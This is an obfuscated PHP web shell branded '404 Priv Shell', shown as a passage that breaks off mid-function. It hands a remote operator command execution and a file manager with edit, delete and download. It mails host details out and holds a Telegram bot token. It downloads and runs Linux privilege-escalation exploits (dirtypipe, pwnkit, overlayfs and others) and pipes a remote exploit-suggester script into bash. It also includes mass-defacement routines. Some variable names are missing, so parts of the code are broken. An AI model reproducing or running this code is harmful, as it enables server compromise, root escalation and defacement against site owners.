\x27\x62\x67\x2d\163\x65\143\157\x6e\144\x61\162\x79\x20\x74\x65\x78\164\x2d\154\x69\x67\x68\164\47\76\12\x3c\x64\151\166\x20\x63\x6c\141\x73\163\x3d\47\x63\157\x6e\x74\141\151\x6e\x65\162\55\146\x6c\x75\151\x64\47\x3e\12\11\x3c\x64\x69\x76\40\x63\154\x61\x73\163\75\x27\x70\171\x2d\x33\x27\x20\x69\x64\75\47\x6d\x61\151\156\47\76\12\11\x9\74\144\x69\166\40\x63\x6c\x61\x73\163\x3d\x27\x62\157\170\x20\163\x68\x61\144\157\x77\40\142\147\x2d\144\141\x72\153\40\160\55\x34\40\x72\x6f\165\156\144\145\144\x2d\x33\x27\x3e\12\x9\11\x9\x3c\x61\40\143\x6c\141\x73\163\x3d\x27\x74\145\170\x74\55\144\145\x63\157\162\x61\164\151\157\156\x2d\x6e\x6f\156\145\x20\x74\x65\x78\164\x2d\154\151\x67\x68\x74\x20\141\156\x75\x27\x20\150\x72\x65\x66\x3d\47" . $_SERVER["\120\110\x50\137\x53\105\x4c\x46"] . "\47\76\x3c\150\x34\x3e\x34\60\64\x20\x50\x72\x69\166\40\123\150\x65\x6c\x6c\x3c\x2f\x68\x34\76\x3c\x2f\x61\x3e"; goto Hzffk; XPEKY: $botUrl = "\x62\x6f\x74\65\x38\x32\66\x35\65\65\70\x34\64\72\101\101\x48\156\66\x6b\x30\x65\106\64\117\x41\104\x6f\115\152\x31\x4a\x78\x31\127\x41\107\101\164\124\x39\130\x6c\104\145\x4c\x73\104\105"; goto OcHn3; wB9pF: if ($_7["\141\x63\164\151\x6f\156"] == "\145\144\151\x74") { s(); echo "\12\x9\x9\74\x64\x69\x76\40\x63\x6c\x61\163\x73\75\x27\142\164\156\x2d\x67\162\x6f\x75\x70\47\x3e\12\11\x9\x9\x3c\x61\40\x63\154\141\163\163\x3d\47\x62\164\x6e\40\x62\164\156\55\157\165\x74\x6c\x69\156\x65\55\x6c\151\147\x68\x74\x20\142\x74\x6e\55\x73\x6d\47\x20\x68\162\145\146\x3d\47\77\x64\x69\x72\75{$path}\x26\141\x63\x74\151\157\x6e\x3d\166\151\x65\167\46\x6f\160\x6e\75{$file}\x27\x3e\x3c\x69\40\143\154\x61\x73\x73\75\x27\142\x69\x20\142\x69\x2d\145\x79\145\55\146\x69\154\154\x27\x3e\x3c\57\x69\76\74\x2f\x61\76\xa\x9\x9\11\x3c\x61\40\x63\154\141\x73\163\x3d\47\142\164\156\x20\x62\164\x6e\55\x6f\x75\x74\x6c\x69\156\145\55\154\x69\x67\x68\x74\40\142\164\x6e\x2d\x73\155\47\40\150\162\145\x66\x3d\47\x3f\x64\151\x72\x3d{$path}\46\141\x63\164\x69\157\x6e\75\145\x64\151\164\x26\157\x70\156\75{$file}\47\76\x3c\151\x20\x63\x6c\141\x73\163\x3d\x27\142\151\40\142\151\55\x70\145\x6e\143\x69\154\55\163\161\x75\141\162\145\47\76\x3c\57\x69\x3e\x3c\57\x61\76\xa\11\11\11\74\141\x20\143\x6c\x61\163\163\75\47\142\x74\156\x20\142\164\156\x2d\x6f\x75\x74\x6c\x69\x6e\145\x2d\x6c\x69\147\x68\x74\x20\142\164\x6e\x2d\x73\x6d\x27\40\150\162\x65\146\75\x27\77\x64\x69\x72\75{$path}\x26\141\143\164\x69\157\156\75\162\145\x6e\141\155\145\x26\157\x70\156\75{$file}\x27\76\74\151\x20\143\154\x61\163\x73\75\47\x62\151\40\x62\x69\x2d\160\x65\156\143\x69\x6c\x2d\146\151\x6c\x6c\x27\76\x3c\x2f\x69\x3e\x3c\57\141\x3e\xa\x9\x9\x9\74\x61\40\x63\154\141\x73\163\75\x27\x62\164\x6e\40\x62\164\x6e\x2d\157\165\164\x6c\151\x6e\145\x2d\154\x69\x67\150\x74\40\142\164\x6e\x2d\163\155\47\40\x68\x72\x65\x66\x3d\47\x3f\x64\x69\x72\x3d{$path}\x26\141\143\x74\x69\x6f\156\75\x64\x65\154\x65\x74\x65\x5f\x66\x69\x6c\x65\46\x6f\160\156\75{$file}\x27\x3e\74\x69\x20\143\x6c\141\163\x73\x3d\x27\142\x69\x20\142\151\55\164\162\141\x73\150\55\146\x69\154\154\47\x3e\x3c\x2f\151\76\74\57\141\76\xa\11\x9\x9\x3c\141\40\143\154\x61\163\x73\75\47\142\x74\156\x20\142\164\x6e\x2d\157\x75\164\x6c\x69\156\x65\x2d\x6c\x69\147\x68\164\x20\142\x74\156\55\x73\x6d\47\40\x68\162\145\146\75\47\x3f\x64\x69\x72\x3d{$path}\46\x61\x63\164\x69\x6f\x6e\x3d\144\x6f\167\x6e\154\157\141\x64\x26\157\x70\x6e\75{$file}\47\76\74\151\40\x63\154\x61\163\163\75\47\x62\x69\40\x62\151\55\x64\157\167\x6e\x6c\157\x61\144\x27\76\x3c\x2f\x69\76\74\57\x61\76\12\x9\x9\x3c\x2f\x64\151\x76\x3e\12\x9\11\x3c\142\x72\x3e\12\x9\x9\x9\x3c\x69\40\x63\x6c\x61\163\163\x3d\x27\x62\151\x20\x62\151\x2d\146\151\154\x65\55\x65\x61\x72\155\x61\x72\x6b\x27\x3e\x3c\57\x69\76\x3a\x26\x6e\x62\x73\160\73" . basename($file) . "\12\11\x9\74\57\142\x72\x3e\xa\x9\x9\74\x66\157\x72\x6d\40\x6d\145\164\150\157\x64\75\47\x50\117\123\x54\47\x3e\xa\11\11\x9\x3c\164\x65\170\x74\141\x72\x65\x61\40\143\154\141\163\x73\75\47\146\157\162\x6d\55\x63\157\156\164\x72\x6f\x6c\40\x62\x74\x6e\55\163\155\47\x20\x72\157\167\x73\x3d\x27\x31\60\x27\40\x6e\141\155\145\75\47\143\x6f\156\x74\145\x6e\164\163\47\x20{$_r}\x3e" . htmlspecialchars(file_get_contents($file)) . "\74\57\164\x65\170\x74\x61\x72\x65\141\76\xa\11\x9\x9\74\x64\x69\166\x20\143\154\141\163\163\75\47\144\x2d\147\162\x69\144\x20\x67\141\160\55\x32\x27\x3e\12\11\11\11\11\x3c\x62\x75\164\x74\157\x6e\x20\x63\x6c\x61\x73\163\x3d\x27\x62\164\x6e\40\142\164\156\x2d\157\x75\x74\154\151\156\x65\55\x6c\151\147\150\164\x20\142\164\156\55\163\155\47\40\x74\171\160\x65\x3d\47\x73\x75\155\142\x69\164\x27\40\156\141\x6d\145\75\47\145\144\x69\164\x5f\146\x69\x6c\x65\x27\76\74\151\40\x63\154\141\x73\163\75\x27\x62\x69\x20\x62\151\x2d\x61\162\162\157\x77\x2d\x72\x65\164\x75\x72\x6e\55\162\x69\x67\150\x74\x27\x3e\74\x2f\x69\x3e\x3c\x2f\x62\165\x74\164\157\156\x3e\xa\x9\11\x9\74\x2f\x64\x69\166\x3e\12\11\11\74\x2f\x66\157\x72\155\x3e"; } goto lZheg; Lw2_l: set_time_limit(0); goto avrpj; l_7Kw: $dir = str_replace("\x5c", "\x2f", $dir); goto UtA_L; gczsm: @ini_set("\x6f\165\164\x70\165\164\137\x62\165\x66\x66\145\x72\x69\x6e\147", 0); goto heAIF; YMRzT: function exe_root($set, $sad) { $x = "\160\x72\145\x67\137\155\x61\x74\143\150"; $xx = "\62\x3e\46\x31"; if (!$x("\x2f" . $xx . "\57\151", $set)) { $set = $set . "\x20" . $xx; } $a = "\146\x75\x6e\143\x74\x69\157\x6e\x5f\145\x78\151\163\164\163"; $b = "\x70\162\157\x63\137\x6f\x70\x65\156"; $c = "\150\x74\x6d\x6c\163\160\x65\x63\151\141\154\x63\150\x61\162\x73"; $d = "\163\164\162\145\x61\x6d\x5f\x67\145\x74\137\x63\x6f\156\x74\145\x6e\x74\163"; if ($a($b)) { $ps = $b($set, array(0 => array("\160\151\160\145", "\162"), 1 => array("\x70\151\x70\145", "\x77"), 2 => array("\160\151\x70\x65", "\162")), $pink, $sad); return $d($pink[1]); } else { return "\x70\162\157\x63\x5f\x6f\x70\145\x6e\40\x66\x75\x6e\x63\164\151\157\156\40\151\163\x20\x64\x69\x73\141\x62\154\145\144\x20\x21"; } } goto RkY6o; BZcMI: $gcw = "\x67\145\164\143\x77\144"; goto idnUM; o8bBX: if (isset($_GET["\144\x69\162"]) && $_GET["\x69\144"] == "\x73\143\x61\x6e\137\162\x6f\157\164") { ob_implicit_flush(); ob_end_flush(); s(); echo "\xa\x9\x9\11\x3c\x64\x69\166\x20\143\154\x61\x73\163\x3d\47\x74\145\170\x74\x2d\x63\145\156\x74\145\162\x27\76\12\x9\x9\x9\x9\74\144\x69\x76\40\x63\154\x61\x73\x73\x3d\47\x62\164\x6e\55\147\x72\x6f\x75\x70\x20\155\142\x2d\x33\x27\76\xa\x9\11\11\11\11\74\x61\x20\x63\x6c\141\x73\x73\75\47\x62\164\156\x20\142\164\x6e\x2d\157\165\x74\x6c\151\156\x65\x2d\x6c\151\147\x68\x74\x20\142\x74\156\55\x73\155\47\x20\150\162\145\146\75\x27" . $_SERVER["\122\105\x51\125\x45\x53\x54\137\x55\x52\111"] . "\x26\151\144\x5f\x74\x77\157\75\x61\x75\x74\157\163\x63\x61\x6e\x27\x3e\x3c\x69\40\x63\154\141\x73\x73\x3d\x27\142\151\x20\x62\x69\55\142\165\x67\x27\76\74\x2f\151\76\40\x41\165\164\x6f\x20\x73\143\141\156\x3c\x2f\141\x3e\xa\x9\11\x9\x9\11\x3c\141\40\x63\x6c\x61\x73\x73\75\47\x62\164\156\40\x62\x74\156\x2d\157\165\164\x6c\x69\156\145\55\x6c\151\x67\x68\x74\x20\142\x74\156\55\163\x6d\47\x20\x68\162\x65\146\75\x27" . $_SERVER["\x52\105\121\125\x45\123\124\137\x55\122\x49"] . "\46\x69\x64\137\x74\167\x6f\75\163\x63\141\156\x73\144\x27\76\x3c\151\x20\x63\x6c\141\163\163\x3d\47\x62\151\40\142\x69\x2d\x73\x65\141\162\x63\x68\x27\x3e\x3c\57\151\76\x20\x53\143\141\x6e\x20\x53\125\111\x44\x3c\57\x61\76\12\x9\11\11\x9\11\x3c\x61\x20\143\154\141\x73\x73\x3d\x27\x62\164\x6e\x20\142\x74\156\55\x6f\165\164\154\151\x6e\145\x2d\x6c\151\147\150\x74\x20\142\164\x6e\x2d\x73\155\x27\x20\150\x72\x65\x66\75\47" . $_SERVER["\x52\105\x51\x55\x45\x53\x54\137\125\122\x49"] . "\x26\151\x64\x5f\164\167\x6f\x3d\145\163\147\47\x3e\74\x69\x20\143\x6c\x61\163\163\75\47\142\x69\x20\142\151\55\163\145\141\x72\143\x68\x27\x3e\74\57\151\x3e\40\105\x78\160\154\x6f\151\164\40\163\x75\x67\x67\x65\x73\164\x65\x72\x3c\x2f\x61\76\12\x9\x9\11\11\x3c\x2f\144\x69\x76\x3e\xa\11\11\x9\74\57\x64\151\166\x3e"; if (!function_exists("\160\162\x6f\x63\x5f\x6f\160\x65\x6e")) { echo "\74\x63\x65\x6e\x74\145\162\40\143\x6c\141\x73\163\x3d\47\x61\156\165\47\x3e\x43\157\x6d\x6d\x61\156\x64\40\x69\163\40\x44\x69\163\141\142\154\145\144\x20\41\x3c\x2f\143\145\x6e\164\145\162\76"; } if (!is_writable($path)) { echo "\x3c\143\145\156\x74\145\x72\x20\x63\154\141\163\x73\x3d\47\141\156\165\47\76\x43\x75\x72\162\145\156\164\x20\x44\x69\x72\x65\x63\164\x6f\162\x79\40\x69\163\x20\125\156\x77\x72\151\164\x65\141\x62\x6c\x65\40\x21\74\57\x63\x65\x6e\164\x65\x72\76"; } if (isset($_GET["\x69\x64\137\x74\x77\x6f"]) && $_GET["\151\x64\137\x74\167\157"] == "\x61\x75\x74\x6f\x73\143\141\x6e") { if (!file_exists($path . "\57\162\157\x6f\x74\x69\156\147\57")) { mkdir($path . "\57\162\157\157\164\x69\x6e\147"); exe_root("\x77\x67\145\164\x20\x68\x74\164\160\x73\72\x2f\x2f\162\141\167\x2e\147\151\164\150\x75\142\165\163\145\162\x63\x6f\156\164\x65\156\164\56\143\157\155\x2f\x68\145\x6b\x65\162\160\x72\x6f\164\x7a\x79\57\x72\x6f\x6f\164\x73\x68\145\154\154\x2f\155\x61\x69\x6e\57\x61\x75\164\x6f\56\164\x61\x72\56\x67\x7a", $path . "\57\x72\x6f\x6f\x74\x69\156\x67"); exe_root("\164\x61\x72\x20\x2d\x78\x66\40\x61\165\164\x6f\56\x74\x61\x72\56\147\x7a", $path . "\x2f\x72\157\157\164\x69\x6e\x67"); if (!file_exists($path . "\x2f\x72\x6f\x6f\x74\x69\x6e\147\x2f\156\145\164\146\151\154\164\145\162")) { die("\74\143\145\x6e\164\x65\x72\x20\143\154\141\163\x73\x3d\47\x61\x6e\x75\47\x3e\106\x61\151\154\x65\144\x20\x74\157\x20\104\x6f\167\x6e\x6c\x6f\141\144\40\x4d\141\164\x65\162\151\141\154\40\x21\74\x2f\x63\145\x6e\164\x65\162\76"); } } echo "\12\x9\x9\x9\11\x3c\144\x69\x76\40\x63\x6c\141\x73\163\x3d\42\x63\157\x6e\164\141\x69\x6e\145\x72\x2d\146\x6c\x75\151\144\x20\154\x61\x6e\x67\165\x61\147\145\55\x6a\x61\166\x61\163\143\x72\151\160\x74\x22\x3e\xa\11\11\x9\11\11\x3c\144\x69\166\40\143\x6c\141\x73\x73\75\x22\x73\150\x65\x6c\154\x20\x6d\142\x2d\63\x22\x3e\12\11\x9\x9\11\x9\11\74\x70\162\145\x20\163\164\171\x6c\x65\x3d\x22\x66\157\x6e\164\x2d\x73\x69\172\145\72\61\x30\x70\x78\x3b\42\76\74\x63\157\x64\145\76\x4e\145\164\x66\x69\154\164\x65\162\x20\x3a\40" . exe_root("\x74\151\155\x65\x6f\x75\164\x20\61\60\40\56\x2f\x72\x6f\x6f\x74\151\x6e\x67\57\x6e\x65\164\146\x69\x6c\164\145\x72", $path) . "\120\x74\162\141\143\145\x20\x3a\40" . exe_root("\145\x63\x68\x6f\x20\151\x64\x20\x7c\40\164\x69\x6d\x65\157\x75\164\x20\61\x30\40\56\57\162\x6f\157\x74\x69\x6e\x67\57\160\x74\x72\x61\143\145", $path) . "\123\x65\161\x75\157\151\141\40\72\x20" . exe_root("\164\x69\x6d\145\x6f\x75\164\x20\x31\x30\40\x2e\x2f\162\157\157\164\151\156\x67\x2f\163\145\161\165\x6f\151\141", $path) . "\x4f\x76\x65\x72\x6c\141\171\x46\x53\x20\72\40" . exe_root("\145\143\x68\x6f\x20\x69\x64\x20\174\40\x74\151\x6d\x65\157\x75\164\x20\x31\x30\x20\x2e\57\x6f\x76\145\162\x6c\141\x79\x66\x73", $path . "\x2f\162\157\157\164\x69\156\x67") . "\104\x69\x72\x74\x79\160\x69\x70\145\40\72\x20" . exe_root("\x65\x63\x68\157\x20\x69\144\x20\x7c\40\164\x69\155\x65\x6f\x75\164\x20\x31\x30\40\x2e\x2f\x72\157\x6f\x74\x69\156\147\x2f\144\x69\162\x74\171\160\151\x70\x65\40\57\165\163\x72\x2f\142\151\x6e\x2f\163\165", $path) . "\123\165\144\x6f\40\x3a\40" . exe_root("\x65\143\x68\x6f\x20\x31\x32\x33\64\65\40\x7c\x20\164\151\x6d\x65\x6f\x75\x74\40\61\60\x20\x73\165\144\157\145\144\151\164\40\55\163\x20\x59", $path) . "\x50\167\x6e\x6b\151\x74\40\x3a\x20" . exe_root("\x65\143\150\157\40\151\x64\40\174\x20\x74\151\155\x65\157\x75\164\x20\61\x30\x20\56\57\160\x77\156\153\x69\164", $path . "\57\x72\x6f\157\164\151\156\x67") . '' . exe_root("\x72\155\x20\55\162\x66\40\x72\x6f\157\x74\151\156\x67", $path) . "\74\x2f\x63\x6f\144\145\76\x3c\x2f\160\162\145\76\xa\x9\11\x9\x9\x9\74\57\x64\151\166\76\xa\11\x9\x9\x9\x3c\57\144\x69\x76\x3e"; } elseif (isset($_GET["\x69\x64\x5f\164\x77\157"]) && $_GET["\151\x64\x5f\164\x77\157"] == "\163\x63\x61\156\163\x64") { echo "\74\x63\145\156\x74\145\x72\40\x63\154\141\163\x73\x3d\42\x61\x6e\165\42\76\133\x2b\x5d\40\x53\143\x61\156\x6e\151\156\x67\x20\56\56\x2e\74\x2f\143\x65\x6e\164\x65\x72\x3e"; echo "\12\11\x9\x9\x9\74\144\151\x76\40\x63\x6c\x61\163\x73\75\x22\143\157\x6e\164\141\151\x6e\x65\162\55\146\154\165\151\144\40\x6c\x61\156\147\x75\x61\147\x65\55\x6a\141\x76\141\x73\143\x72\x69\x70\x74\x22\x3e\12\x9\11\x9\x9\11\x3c\144\151\x76\x20\x63\x6c\x61\x73\163\75\x22\x73\150\x65\154\154\x20\x6d\x62\x2d\63\x22\76\12\x9\x9\x9\x9\11\x9\x3c\160\x72\x65\40\163\164\x79\x6c\145\x3d\x22\146\x6f\x6e\164\55\x73\151\x7a\x65\72\61\x30\160\x78\x3b\x22\x3e\74\x63\x6f\144\145\x3e" . exe_root("\146\x69\x6e\x64\x20\57\40\x2d\160\x65\x72\x6d\x20\x2d\x75\x3d\x73\40\x2d\164\x79\x70\145\x20\x66\40\62\x3e\57\144\145\x76\x2f\156\x75\154\154", $path) . "\x3c\x2f\143\x6f\144\145\x3e\x3c\57\x70\162\x65\76\12\x9\11\x9\x9\11\x3c\57\x64\151\x76\76\xa\11\x9\11\x9\x3c\57\144\151\166\x3e"; } elseif (isset($_GET["\x69\144\137\x74\167\x6f"]) && $_GET["\151\144\137\164\x77\x6f"] == "\145\163\x67") { echo "\x3c\x63\145\156\x74\x65\162\x20\x63\154\141\163\x73\x3d\42\141\156\x75\42\x3e\x5b\x2b\x5d\x20\x4c\157\x61\144\151\x6e\147\40\56\x2e\x2e\74\57\x63\145\156\x74\145\x72\76"; echo "\xa\x9\x9\x9\11\x3c\144\151\166\40\x63\154\141\163\x73\75\42\x63\x6f\156\x74\x61\x69\156\x65\162\55\146\154\165\151\144\x20\x6c\x61\156\147\x75\x61\x67\x65\x2d\152\141\x76\x61\163\x63\162\x69\x70\x74\42\76\12\x9\11\x9\11\x9\74\x64\x69\166\x20\x63\x6c\141\163\163\x3d\x22\163\x68\145\x6c\x6c\x20\x6d\142\55\63\42\x3e\12\11\11\11\x9\11\11\74\160\x72\145\40\163\164\x79\x6c\x65\x3d\x22\146\x6f\156\164\55\x73\151\x7a\x65\x3a\x31\x30\160\170\73\42\76\74\x63\157\x64\x65\x3e" . exe_root("\143\x75\162\154\x20\x2d\114\163\153\40\150\164\x74\160\x3a\57\57\162\x61\x77\56\147\x69\164\150\x75\142\x75\x73\x65\162\143\x6f\156\164\x65\156\164\x2e\143\157\x6d\57\x6d\x7a\145\164\55\57\154\151\x6e\x75\170\55\145\x78\x70\x6c\x6f\x69\164\55\x73\x75\147\147\x65\163\164\145\162\x2f\x6d\141\163\x74\x65\x72\57\x6c\x69\156\x75\x78\55\145\170\x70\x6c\x6f\x69\164\55\x73\x75\x67\x67\145\x73\164\x65\162\x2e\x73\x68\x20\174\x20\x62\x61\x73\x68", $path) . "\74\x2f\143\157\144\x65\76\x3c\x2f\160\x72\x65\x3e\xa\11\x9\11\11\11\74\x2f\x64\151\x76\76\xa\x9\x9\11\11\x3c\x2f\x64\151\166\76"; } } goto E1CyH; cmezN: mail($to, "\x58\x5a\x4f\x55\122\124\x20\127\x45\102\x53\110\x45\114\114\x20\x43\x4f\115\x50\x41\x4e\x59", $pesan_alert, "\x5b\40" . php_uname() . "\x20\135"); goto wULVu; ItSPn: error_reporting(0); goto GGQ1Y; Ao2uT: @ini_set("\x6c\157\x67\137\145\162\x72\x6f\162\163", 0); goto mVBqX; Hzffk: if (isset($_7["\160\141\x74\x68"])) { $path = $_7["\160\141\x74\x68"]; chdir($path); } else { $path = $gcw(); } goto KYKN5; UPxMA: function sz($byt) { $typ = array("\x42", "\x4b\102", "\115\102", "\x47\x42", "\124\102"); for ($i = 0; $byt >= 1024 && $i < count($typ) - 1; $byt /= 1024, $i++) { } return round($byt, 2) . "\x20" . $typ[$i]; } goto ajmYY; d03Rs: function s() { echo "\x3c\x73\164\171\x6c\x65\x3e\164\141\142\154\x65\173\144\x69\163\x70\x6c\x61\171\72\x6e\157\x6e\x65\73\x7d\x3c\x2f\x73\x74\171\154\x65\x3e\74\x64\151\166\x20\x63\x6c\x61\163\x73\75\x22\x74\x61\x62\x6c\x65\x2d\x72\145\x73\x70\157\156\163\151\166\x65\x22\76\74\x68\x72\x3e\74\57\144\x69\x76\76"; } goto o8GGc; KHzp9: if (isset($_7["\x65\144\151\164\137\x66\151\x6c\x65"])) { $updt = fopen("{$file}", "\167"); $result = fwrite($updt, $_7["\143\x6f\x6e\x74\x65\x6e\164\163"]); if ($result) { echo "\x3c\x73\x74\162\x6f\x6e\x67\x3e\105\x64\151\164\x20\146\x69\x6c\145\74\x2f\163\x74\x72\157\x6e\x67\76\x20\x6f\x6b\x21\x20" . ok() . "\x3c\x2f\144\x69\x76\76"; } else { echo "\74\x73\164\162\x6f\156\147\76\105\144\x69\x74\40\146\151\154\x65\x3c\x2f\x73\x74\162\x6f\x6e\147\76\x20\x66\x61\151\x6c\41\x20" . er() . "\74\57\x64\151\x76\76"; } } goto wB9pF; laih7: $scand = scandir($path); goto skUzm; o8GGc: function ok() { echo "\x3c\x64\151\166\x20\143\x6c\141\x73\163\75\42\141\x6c\145\162\x74\40\x61\154\x65\162\164\x2d\x73\x75\143\143\x65\163\163\x20\x61\x6c\x65\x72\x74\x2d\x64\151\x73\x6d\151\163\163\151\142\x6c\x65\40\146\x61\144\x65\40\163\x68\157\x77\x20\x6d\x79\x2d\x33\x22\40\162\x6f\x6c\145\75\42\141\x6c\145\162\164\x22\76\x3c\x62\165\x74\164\157\156\x20\x74\x79\160\145\x3d\x22\x62\x75\164\164\x6f\x6e\42\40\x63\154\x61\x73\x73\x3d\x22\x62\164\156\x2d\x63\154\x6f\163\145\42\40\x64\141\164\x61\55\142\x73\55\144\151\163\x6d\151\163\x73\x3d\x22\141\154\x65\162\164\42\x20\141\x72\x69\141\55\154\141\142\x65\154\x3d\42\x43\x6c\157\x73\145\42\x3e\x3c\x2f\142\x75\164\164\157\x6e\x3e"; } goto PUide; fEjCS: $data = "\x3c\x20\x3c\x20\xf0\235\x90\221\xf0\235\x90\x84\360\x9d\x90\x92\360\235\x90\x94\xf0\235\x90\213\xf0\x9d\220\223\x20\360\x9d\220\x96\360\235\220\x84\360\235\x90\x81\360\235\x90\x92\360\x9d\x90\x87\360\x9d\220\204\360\235\x90\213\xf0\x9d\x90\213\x20\76\x20\x3e\360\237\x94\220\12\xa\101\x6b\163\145\163\72\x20{$x_path}\x20\xa"; goto H2vUy; Aif8H: @ini_set("\x6f\x75\x74\160\165\x74\x5f\x62\165\x66\x66\145\x72\x69\156\x67", 0); goto f20ej; jZCJP: foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { $a = true; echo "\74\x69\x20\143\x6c\x61\x73\163\75\47\x62\x69\x20\x62\151\x2d\x68\144\144\x2d\162\141\x63\x6b\x27\x3e\x3c\57\151\x3e\x3a\74\141\40\143\x6c\141\163\163\x3d\47\x74\145\x78\164\55\x64\x65\143\157\162\141\164\151\157\156\x2d\156\157\156\145\x20\x74\145\x78\164\55\x6c\151\x67\x68\164\47\40\x68\x72\145\x66\75\47\x3f\160\x61\164\x68\75\x2f\x27\x3e\57\x3c\57\x61\x3e"; continue; } if ($pat == '') { continue; } echo "\x3c\141\x20\143\x6c\x61\x73\163\75\47\x74\145\x78\x74\x2d\x64\x65\x63\x6f\162\x61\x74\x69\157\156\55\x6e\x6f\156\145\47\40\150\x72\x65\x66\75\x27\77\x70\x61\x74\150\75"; for ($i = 0; $i <= $id; $i++) { echo "{$paths[$i]}"; if ($i != $id) { echo "\x2f"; } } echo "\x27\x3e" . $pat . "\74\57\141\76\x2f"; } goto laih7; uJh3k: function exe($cmd) { if (function_exists("\163\171\163\x74\x65\155")) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("\145\x78\x65\x63")) { @exec($cmd, $results); $buff = ''; foreach ($results as $result) { $buff .= $result; } return $buff; } elseif (function_exists("\x70\x61\x73\163\164\150\162\x75")) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("\x73\x68\x65\x6c\154\137\145\170\145\143")) { $buff = @shell_exec($cmd); return $buff; } } goto YMRzT; VVBQf: set_time_limit(0); goto ItSPn; cBTCn: if (isset($_7["\144\x69\162\x6e\x65\167"])) { s(); if (isset($_7["\x63\x72\x65\x61\x74\145"])) { $name = $_7["\156\x61\x6d\x65\x5f\x64\151\x72"]; foreach ($name as $name_dir) { $folder = preg_replace("\x28\x5b\136\x5c\x77\134\163\134\x64\134\x2d\x5f\x7e\x2c\73\x3a\134\133\134\x5d\x5c\x28\134\135\x2e\x5d\174\x5b\x5c\x2e\135\173\x32\x2c\x7d\51", '', $name_dir); $fd = @mkdir($folder); } if ($fd) { echo "\x3c\163\x63\162\151\160\164\x3e\167\x69\156\144\157\x77\56\154\157\x63\x61\164\x69\x6f\x6e\75\x27\x3f\x70\x61\x74\x68\75{$path}\47\74\x2f\x73\143\x72\151\160\x74\x3e"; } else { echo "\x3c\x73\164\x72\x6f\156\x67\76\103\162\x65\x61\x74\145\x20\144\x69\162\74\x2f\x73\x74\162\x6f\x6e\147\76\x20\x66\x61\x69\154\41\40" . er() . "\74\57\x64\x69\166\76"; } } echo "\12\11\11\74\144\x69\x76\x20\143\x6c\141\163\x73\75\x27\155\x62\55\63\47\76\xa\11\x9\11\x3c\x66\157\x72\155\40\x6d\x65\x74\x68\157\144\x3d\x27\120\117\123\124\47\76\xa\11\11\x9\x9\x3c\151\40\x63\154\141\x73\163\x3d\x27\x62\151\x20\142\151\x2d\146\157\154\144\145\162\47\76\x3c\57\151\x3e\x20\x4e\x61\155\x65\40\144\151\x72\145\x63\164\157\162\x79\x3a\xa\11\11\x9\x9\74\x64\x69\166\40\x63\x6c\141\x73\163\75\47\x69\156\160\165\x74\x2d\147\x72\157\x75\x70\40\x6d\142\x2d\63\47\x3e\12\x9\x9\x9\11\x9\x3c\151\156\x70\165\x74\x20\143\154\x61\x73\163\x3d\47\146\157\x72\155\x2d\143\157\x6e\x74\x72\157\x6c\40\x66\157\x72\x6d\55\143\157\156\164\162\x6f\154\x2d\163\155\x27\40\x74\171\x70\145\x3d\x27\164\145\x78\x74\x27\x20\x6e\141\x6d\x65\x3d\47\x6e\141\x6d\145\137\144\151\162\133\x5d\x27\40\x70\x6c\x61\143\x65\150\157\154\x64\x65\x72\x3d\x27\x44\x69\162\x20\x6e\x61\155\x65\47\x20{$_r}\x3e\12\11\11\x9\x9\11\74\151\x6e\x70\x75\164\x20\143\154\141\x73\163\75\x27\142\x74\156\x20\x62\164\x6e\x2d\x6f\x75\x74\x6c\x69\x6e\x65\55\x6c\x69\x67\x68\164\x20\x62\164\x6e\x2d\163\x6d\47\40\x74\171\160\x65\x3d\x27\163\165\142\155\151\x74\x27\40\x6e\x61\x6d\145\75\47\143\x72\145\x61\164\x65\x27\x20\166\x61\154\x75\145\75\47\x63\x72\x65\x61\x74\145\40\x64\x69\162\x27\x3e\12\x9\11\11\11\74\57\144\151\166\x3e\12\x9\11\11\74\x2f\146\x6f\x72\x6d\x3e\12\x9\11\x3c\57\144\151\x76\76"; } goto jK5Gg; LAdCu: $curl = function_exists("\143\x75\x72\x6c\x5f\166\145\162\163\x69\157\x6e") ? "\x3c\147\x72\x3e\117\116\x3c\57\147\x72\x3e" : "\x3c\x72\x64\x3e\117\x46\106\x3c\x2f\x72\144\76"; goto taJBV; E1CyH: if (isset($_7["\157\x70\x6e"])) { $file = $_7["\157\x70\156"]; } goto wciV1; KYKN5: $path = str_replace("\134", "\57", $path); goto N3tWO; UtA_L: $scdir = explode("\x2f", $dir); goto tFC8Q; mpJld: if (!isset($_SESSION[base64_encode($_SERVER["\x48\124\x54\120\x5f\x48\117\123\124"])])) { if (empty($inipass) || isset($_7["\160"]) && base64_encode($_7["\x70"]) == $inipass) { $_SESSION[base64_encode($_SERVER["\110\x54\124\x50\137\x48\x4f\123\124"])] = true; } else { Login(); } } goto XzF7p; binbg: $_7 = array_merge($_POST, $_GET); goto vbV3q; tFC8Q: for ($i = 0; $i <= $c_dir; $i++) { $scdir[$i]; if ($i != $c_dir) { } if ($_7["\x69\144"] == "\144\145\146\141\x63\x65") { function mass_all($dir, $namefile, $contents_sc) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}\x2f{$dirb}"; $ = $dirc . "\57" . $namefile; if ($dirb === "\56") { file_put_contents($, $contents_sc); } elseif ($dirb === "\56\x2e") { file_put_contents($, $contents_sc); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "\133\x3c\147\x72\76\74\x69\40\143\154\x61\163\163\75\x27\x62\x69\40\x62\x69\x2d\x63\150\145\143\x6b\55\141\154\154\x27\x3e\74\57\151\76\x3c\57\147\162\76\135\x26\156\142\163\x70\73{$}\74\x62\162\76"; file_put_contents($, $contents_sc); $ = mass_all($dirc, $namefile, $contents_sc); } } } } } } function mass_onedir($dir, $namefile, $contents_sc) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}\57{$dirb}"; $ = $dirc . "\x2f" . $namefile; if ($dirb === "\56") { file_put_contents($, $contents_sc); } elseif ($dirb === "\56\56") { file_put_contents($, $contents_sc); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo 